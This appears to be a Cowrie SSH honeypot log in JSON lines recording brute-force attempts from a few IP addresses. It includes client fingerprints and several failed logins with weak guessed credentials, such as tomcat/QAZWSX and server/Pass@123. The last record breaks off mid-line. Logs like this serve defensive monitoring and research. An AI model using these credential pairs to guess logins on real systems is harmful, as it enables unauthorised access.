{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:37.986981Z","src_ip":"91.92.40.36","session":"d68027fa7f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:37.989997Z","src_ip":"91.92.40.36","session":"d68027fa7f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53876,"dst_ip":"10.17.0.5","dst_port":22,"session":"196d990ef8c1","protocol":"ssh","message":"New connection: 45.153.34.195:53876 (10.17.0.5:22) [session: 196d990ef8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:38.202859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:38.208398Z","src_ip":"45.153.34.195","session":"196d990ef8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:38.314433Z","src_ip":"45.153.34.195","session":"196d990ef8c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox","message":"login attempt [fox/fox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:38.606221Z","src_ip":"45.153.34.195","session":"196d990ef8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:39.692452Z","src_ip":"45.153.34.195","session":"196d990ef8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41576,"dst_ip":"159.203.135.109","dst_port":22,"session":"47c91542f9f7","protocol":"ssh","message":"New connection: 91.92.40.36:41576 (159.203.135.109:22) [session: 47c91542f9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:41.136239Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53880,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d2ee1da6b35","protocol":"ssh","message":"New connection: 45.153.34.195:53880 (10.17.0.5:22) [session: 5d2ee1da6b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:41.203246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:41.209374Z","src_ip":"45.153.34.195","session":"5d2ee1da6b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:41.287775Z","src_ip":"45.153.34.195","session":"5d2ee1da6b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:41.604543Z","src_ip":"45.153.34.195","session":"5d2ee1da6b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:42.720410Z","src_ip":"45.153.34.195","session":"5d2ee1da6b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57036,"dst_ip":"10.17.0.5","dst_port":22,"session":"0994f961a730","protocol":"ssh","message":"New connection: 45.153.34.195:57036 (10.17.0.5:22) [session: 0994f961a730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:43.851023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:44.029608Z","src_ip":"45.153.34.195","session":"0994f961a730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:44.033082Z","src_ip":"45.153.34.195","session":"0994f961a730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"audi","password":"audi","message":"login attempt [audi/audi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:44.530367Z","src_ip":"45.153.34.195","session":"0994f961a730","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:44.588546Z","src_ip":"91.92.40.36","session":"47c91542f9f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:44.592285Z","src_ip":"91.92.40.36","session":"47c91542f9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:45.674548Z","src_ip":"45.153.34.195","session":"0994f961a730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57066,"dst_ip":"10.17.0.5","dst_port":22,"session":"f391edd24241","protocol":"ssh","message":"New connection: 45.153.34.195:57066 (10.17.0.5:22) [session: f391edd24241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:46.763341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:46.783780Z","src_ip":"45.153.34.195","session":"f391edd24241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:47.018220Z","src_ip":"45.153.34.195","session":"f391edd24241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:47.462087Z","src_ip":"45.153.34.195","session":"f391edd24241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"QAZWSX","message":"login attempt [tomcat/QAZWSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:47.648601Z","src_ip":"91.92.40.36","session":"fbb37c97733e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:48.560935Z","src_ip":"45.153.34.195","session":"f391edd24241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon12","message":"login attempt [daemon/daemon12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:49.265889Z","src_ip":"91.92.40.36","session":"90f10df5973b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57094,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef1744e615e6","protocol":"ssh","message":"New connection: 45.153.34.195:57094 (10.17.0.5:22) [session: ef1744e615e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:49.681229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:49.685356Z","src_ip":"45.153.34.195","session":"ef1744e615e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55428,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c22e23e839f","protocol":"ssh","message":"New connection: 91.92.40.36:55428 (159.203.135.109:22) [session: 8c22e23e839f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:49.700640Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:49.782087Z","src_ip":"45.153.34.195","session":"ef1744e615e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Pass@123","message":"login attempt [server/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:50.309057Z","src_ip":"45.153.34.195","session":"ef1744e615e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user33","password":"user33","message":"login attempt [user33/user33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:51.040033Z","src_ip":"91.92.40.36","session":"d68027fa7f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:51.392244Z","src_ip":"45.153.34.195","session":"ef1744e615e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.109.8","src_port":51028,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be26b05fc87","protocol":"ssh","message":"New connection: 45.33.109.8:51028 (159.203.135.109:22) [session: 0be26b05fc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:52.194279Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:52.475414Z","src_ip":"45.33.109.8","session":"0be26b05fc87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36110,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f13bf84aad","protocol":"ssh","message":"New connection: 45.153.34.195:36110 (10.17.0.5:22) [session: 85f13bf84aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:52.709123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:52.720189Z","src_ip":"45.153.34.195","session":"85f13bf84aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:52.810143Z","src_ip":"45.153.34.195","session":"85f13bf84aad","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:52.878870Z","src_ip":"91.92.40.36","session":"8c22e23e839f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","a